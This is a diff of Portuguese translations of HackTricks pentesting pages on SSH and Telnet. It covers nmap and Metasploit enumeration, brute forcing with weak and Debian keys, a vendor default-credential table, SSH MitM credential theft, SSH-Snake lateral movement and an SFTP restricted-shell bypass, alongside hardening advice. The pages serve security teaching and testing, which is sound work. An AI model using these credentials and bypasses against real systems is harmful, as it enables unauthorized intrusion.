* exibir informações de segurança (problemas relacionados, lista de CVEs atribuídos, etc);
|
||||
* analisar compatibilidade de versão SSH com base em informações de algoritmo;
|
||||
* Suporte a servidor SSH1 e SSH2;
|
||||
* analisar configuração do cliente SSH;
|
||||
* obter banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
|
||||
* reunir algoritmos de troca de chaves, chaves de host, criptografia e códigos de autenticação de mensagem;
|
||||
* informações de algoritmo de saída (disponível desde, removido/desativado, inseguro/fraco/antigo, etc);
|
||||
* recomendações de algoritmo de saída (adicionar ou remover com base na versão de software reconhecida);
|
||||
* informações de segurança de saída (questões relacionadas, lista de CVE atribuída, etc);
|
||||
* analisar compatibilidade de versão SSH com base nas informações do algoritmo;
|
||||
* informações históricas do OpenSSH, Dropbear SSH e libssh;
|
||||
* funciona em Linux e Windows;
|
||||
* funciona no Linux e Windows;
|
||||
* sem dependências
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
|
@ -87,9 +87,9 @@ use -t to change timeout)
|
|||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
[Veja em ação (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Chave pública SSH do servidor
|
||||
|
||||
[Veja em ação (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
|
@ -97,7 +97,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
|
|||
|
||||
Isso é descoberto por padrão pelo **nmap**. Mas você também pode usar **sslcan** ou **sslyze**.
|
||||
|
||||
### Scripts Nmap
|
||||
### Scripts do Nmap
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
|
@ -111,19 +111,19 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||
|
||||
## Força bruta em nomes de usuário, senhas e chaves privadas
|
||||
|
||||
### Enumeração de Nome de Usuário
|
||||
### Enumeração de Nomes de Usuário
|
||||
|
||||
Em algumas versões do OpenSSH, você pode realizar um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso:
|
||||
Em algumas versões do OpenSSH, você pode realizar um ataque de tempo para enumerar usuários. Você pode usar um módulo do Metasploit para explorar isso:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [Força Bruta](../generic-methodologies-and-resources/brute-force.md#ssh)
|
||||
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#ssh)
|
||||
|
||||
Algumas credenciais ssh comuns [aqui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [aqui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e abaixo.
|
||||
|
||||
### Força Bruta de Chave Privada
|
||||
|
||||
Se você conhece algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script do nmap:
|
||||
Se você conhece algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
|
@ -131,7 +131,7 @@ Ou o módulo auxiliar MSF:
|
|||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Ou use `ssh-keybrute.py` (nativo python3, leve e com algoritmos legados ativados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Ou use `ssh-keybrute.py` (python3 nativo, leve e com algoritmos legados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Chaves ruins conhecidas podem ser encontradas aqui:
|
||||
|
||||
|
@ -139,81 +139,83 @@ Ou use `ssh-keybrute.py` (nativo python3, leve e com algoritmos legados ativados
|
|||
|
||||
#### Chaves SSH fracas / PRNG previsível do Debian
|
||||
|
||||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser forçado bruto. Conjuntos pré-gerados de chaves criadas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por força bruta. Conjuntos de chaves pré-geradas geradas em sistemas Debian afetados por PRNG fraco estão disponíveis aqui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Você deve procurar aqui para encontrar chaves válidas para a máquina vítima.
|
||||
Você deve procurar aqui para buscar chaves válidas para a máquina vítima.
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec** usando o protocolo `ssh` pode usar a opção `--kerberos` para **autenticar via kerberos**.\
|
||||
Para mais informações, execute `crackmapexec ssh --help`.
|
||||
Para mais informações execute `crackmapexec ssh --help`.
|
||||
|
||||
## Credenciais Padrão
|
||||
## Credenciais padrão
|
||||
|
||||
| **Fabricante** | **Nomes de Usuário** | **Senhas** |
|
||||
| -------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| **Fornecedor** | **Nomes de usuário** | **Senhas** |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
Se você estiver na mesma rede local que a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você poderia tentar **realizar um ataque MitM para roubar essas credenciais:**
|
||||
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você poderia tentar **realizar um ataque MitM para roubar essas credenciais:**
|
||||
|
||||
**Caminho do ataque:**
|
||||
|
||||
* o tráfego do usuário é redirecionado para a máquina atacante
|
||||
* o atacante monitora tentativas de conexão com o servidor SSH e as redireciona para o seu próprio servidor SSH
|
||||
* o servidor SSH do atacante é configurado, em primeiro lugar, para registrar todos os dados inseridos, incluindo a senha do usuário, e, em segundo lugar, enviar comandos para o servidor SSH legítimo ao qual o usuário deseja se conectar, para executá-los, e então retornar os resultados para o usuário legítimo
|
||||
* **Redirecionamento de tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão com o servidor SSH.
|
||||
* **Interceptação e Registro:** A máquina do atacante age como um **proxy**, **capturando** os detalhes de login do usuário ao se passar pelo servidor SSH legítimo.
|
||||
* **Execução de Comandos e Revezamento:** Por fim, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **executa** os comandos e **envia os resultados de volta** para o usuário, tornando o processo aparentemente contínuo e legítimo.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que está descrito acima.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que é descrito acima.
|
||||
|
||||
Para capturar e realizar o MitM real, você poderia usar técnicas como ARP spoofing, DNS spoofing ou outras descritas em [**Ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
Para capturar e realizar o MitM real, você pode usar técnicas como spoofing ARP, spoofing DNS ou outras descritas em [**Ataques de Spoofing de Rede**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Se você quiser atravessar uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
|
||||
Se você deseja percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) é o que você precisa.
|
||||
|
||||
SSH-Snake executa as seguintes tarefas automaticamente e recursivamente:
|
||||
O SSH-Snake realiza automaticamente e de forma recursiva as seguintes tarefas:
|
||||
|
||||
1. No sistema atual, encontre quaisquer chaves privadas SSH,
|
||||
2. No sistema atual, encontre quaisquer hosts ou destinos (usuário@host) que as chaves privadas possam ser aceitas,
|
||||
3. Tente se conectar via SSH a todos os destinos usando todas as chaves privadas descobertas,
|
||||
4. Se um destino for conectado com sucesso, repita os passos de #1 a #4 no sistema conectado.
|
||||
1. No sistema atual, encontra quaisquer chaves privadas SSH,
|
||||
2. No sistema atual, encontra quaisquer hosts ou destinos (usuário@host) que possam aceitar as chaves privadas,
|
||||
3. Tenta se conectar via SSH a todos os destinos usando todas as chaves privadas descobertas,
|
||||
4. Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado.
|
||||
|
||||
É completamente auto-replicante e auto-propagante -- e completamente sem arquivos.
|
||||
É completamente auto-replicante e auto-propagante - e completamente sem arquivos.
|
||||
|
||||
## Configurações Incorretas
|
||||
## Configurações Incorretas de Configuração
|
||||
|
||||
### Login como Root
|
||||
### Login de root
|
||||
|
||||
Por padrão, a maioria das implementações de servidores SSH permite o login como root, é aconselhável desativá-lo porque se as credenciais desta conta vazarem, os atacantes obterão privilégios administrativos diretamente e isso também permitirá que os atacantes conduzam ataques de força bruta nesta conta.
|
||||
É comum que servidores SSH permitam o login do usuário root por padrão, o que representa um risco de segurança significativo. **Desabilitar o login de root** é um passo crítico para garantir a segurança do servidor. O acesso não autorizado com privilégios administrativos e ataques de força bruta podem ser mitigados ao fazer essa alteração.
|
||||
|
||||
**Como desativar o login como root para openSSH:**
|
||||
**Para Desabilitar o Login de Root no OpenSSH:**
|
||||
|
||||
1. Edite a configuração do servidor SSH `sudoedit /etc/ssh/sshd_config`
|
||||
2. Altere `#PermitRootLogin yes` para `PermitRootLogin no`
|
||||
3. Leve em conta as alterações de configuração: `sudo systemctl daemon-reload`
|
||||
4. Reinicie o servidor SSH `sudo systemctl restart sshd`
|
||||
1. **Edite o arquivo de configuração do SSH** com: `sudoedit /etc/ssh/sshd_config`
|
||||
2. **Altere a configuração** de `#PermitRootLogin yes` para **`PermitRootLogin no`**.
|
||||
3. **Recarregue a configuração** usando: `sudo systemctl daemon-reload`
|
||||
4. **Reinicie o servidor SSH** para aplicar as alterações: `sudo systemctl restart sshd`
|
||||
|
||||
### Força Bruta SFTP
|
||||
|
||||
* [**Força Bruta SFTP**](../generic-methodologies-and-resources/brute-force.md#sftp)
|
||||
|
||||
### Execução de comando SFTP
|
||||
### Execução de Comandos SFTP
|
||||
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador quer que os usuários tenham acesso ao SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Então eles pensam que criar um usuário, atribuindo-lhe um shell substituto (como `/usr/bin/nologin` ou `/usr/bin/false`) e confinando-o em uma prisão é suficiente para evitar o acesso ao shell ou abuso em todo o sistema de arquivos. Mas eles estão enganados, **um usuário pode pedir para executar um comando logo após a autenticação antes que seu comando padrão ou shell seja executado**. Portanto, para contornar o shell substituto que negará o acesso ao shell, basta pedir para executar um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
Há uma falha comum nas configurações de SFTP, onde os administradores pretendem que os usuários troquem arquivos sem habilitar o acesso ao shell remoto. Apesar de configurar os usuários com shells não interativos (por exemplo, `/usr/bin/nologin`) e confiná-los a um diretório específico, uma brecha de segurança permanece. **Os usuários podem contornar essas restrições** solicitando a execução de um comando (como `/bin/bash`) imediatamente após o login, antes que seu shell não interativo designado assuma o controle. Isso permite a execução não autorizada de comandos, minando as medidas de segurança pretendidas.
|
||||
|
||||
[Exemplo daqui](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -236,7 +238,7 @@ debug1: Exit status 0
|
|||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
Aqui está um exemplo de configuração segura de SFTP (`/etc/ssh/sshd_config` – openSSH) para o usuário `noraj`:
|
||||
Aqui está um exemplo de configuração segura do SFTP (`/etc/ssh/sshd_config` - openSSH) para o usuário `noraj`:
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
|
@ -246,17 +248,17 @@ PermitTunnel no
|
|||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell ao forçar o comando de início e desabilitando o acesso TTY, mas também desabilitando todo tipo de encaminhamento de porta ou tunelamento.
|
||||
Esta configuração permitirá apenas SFTP: desativando o acesso ao shell forçando o comando de início e desativando o acesso ao TTY, mas também desativando todos os tipos de encaminhamento de porta ou tunelamento.
|
||||
|
||||
### Tunelamento SFTP
|
||||
|
||||
Se você tem acesso a um servidor SFTP, você também pode tunelar seu tráfego através deste, por exemplo, usando o encaminhamento de porta comum:
|
||||
Se você tiver acesso a um servidor SFTP, também pode encaminhar seu tráfego por meio dele, por exemplo, usando o encaminhamento de porta comum:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
O **sftp** possui o comando "**symlink**". Portanto, se você tem **direitos de escrita** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço sem chroot** (por exemplo, se você pode acessar o symlink pela web), você poderia **abrir os arquivos vinculados através da web**.
|
||||
O **sftp** tem o comando "**symlink**". Portanto, se você tiver **direitos de escrita** em alguma pasta, você pode criar **symlinks** de **outras pastas/arquivos**. Como você provavelmente está **preso** dentro de um chroot, isso **não será especialmente útil** para você, mas, se você puder **acessar** o **symlink** criado a partir de um **serviço sem chroot** (por exemplo, se você puder acessar o symlink pela web), você poderia **abrir os arquivos symlinkados pela web**.
|
||||
|
||||
Por exemplo, para criar um **symlink** de um novo arquivo **"**_**froot**_**" para "**_**/**_**"**:
|
||||
```bash
|
||||
|
@ -266,20 +268,20 @@ Se você pode acessar o arquivo "_froot_" via web, você será capaz de listar a
|
|||
|
||||
### Métodos de autenticação
|
||||
|
||||
Em ambientes de alta segurança, é comum a prática de habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da simples autenticação baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desativar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e definí-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verboso do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
|
||||
Em ambientes de alta segurança, é uma prática comum habilitar apenas a autenticação baseada em chave ou de dois fatores em vez da autenticação baseada em senha simples. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método de senha, você pode usar a opção `PreferredAuthentications` para forçar o uso deste método.
|
||||
Por exemplo, se um limite de falha de autenticação estiver definido e você nunca tiver a chance de alcançar o método de senha, você pode usar a opção `PreferredAuthentications` para forçar o uso desse método.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
Revisar a configuração do servidor SSH é necessário para verificar que apenas métodos esperados estão autorizados. Usar o modo verboso no cliente pode ajudar a ver a eficácia da configuração.
|
||||
Rever a configuração do servidor SSH é necessário para verificar se apenas os métodos esperados estão autorizados. Usar o modo verbose no cliente pode ajudar a ver a eficácia da configuração.
|
||||
|
||||
### Arquivos de configuração
|
||||
```bash
|
||||
|
@ -297,16 +299,16 @@ id_rsa
|
|||
|
||||
## Referências
|
||||
|
||||
* Você pode encontrar guias interessantes sobre como reforçar a segurança do SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente, escrito e falado_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
## Comandos Automáticos do HackTricks
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
@ -326,14 +328,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração imediatamente disponível para avaliação de vulnerabilidade & pentesting**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas & recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção & exploração para dar a eles mais tempo para investigar mais a fundo, obter shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma forma INsegura de acessar um computador através de uma rede.
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma maneira NÃO segura de acessar um computador por meio de uma rede.
|
||||
|
||||
**Porta padrão:** 23
|
||||
```
|
||||
|
@ -38,10 +38,11 @@ Toda a enumeração interessante pode ser realizada pelo **nmap**:
|
|||
```bash
|
||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
O script `telnet-ntlm-info.nse` obterá informações NTLM (versões do Windows).
|
||||
O script `telnet-ntlm-info.nse` irá obter informações NTLM (versões do Windows).
|
||||
|
||||
No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Essas opções podem incluir a alteração do conjunto de caracteres, o modo de eco, etc. (Do [telnet RFC](https://tools.ietf.org/html/rfc854))\
|
||||
**Sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
|
||||
Do [RFC do telnet](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto de convenções mais elaborado (ou talvez apenas diferente) para sua conexão TELNET. Tais opções poderiam incluir a alteração do conjunto de caracteres, o modo de eco, etc.
|
||||
|
||||
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como fazer.**
|
||||
|
||||
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -51,7 +52,7 @@ No Protocolo TELNET existem várias "**opções**" que serão sancionadas e pode
|
|||
/etc/xinetd.d/telnet
|
||||
/etc/xinetd.d/stelnet
|
||||
```
|
||||
## Comandos Automáticos HackTricks
|
||||
## Comandos Automáticos do HackTricks
|
||||
```
|
||||
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
|
||||
Port_Number: 23 #Comma separated if there is more than one.
|
||||
|
@ -85,20 +86,20 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
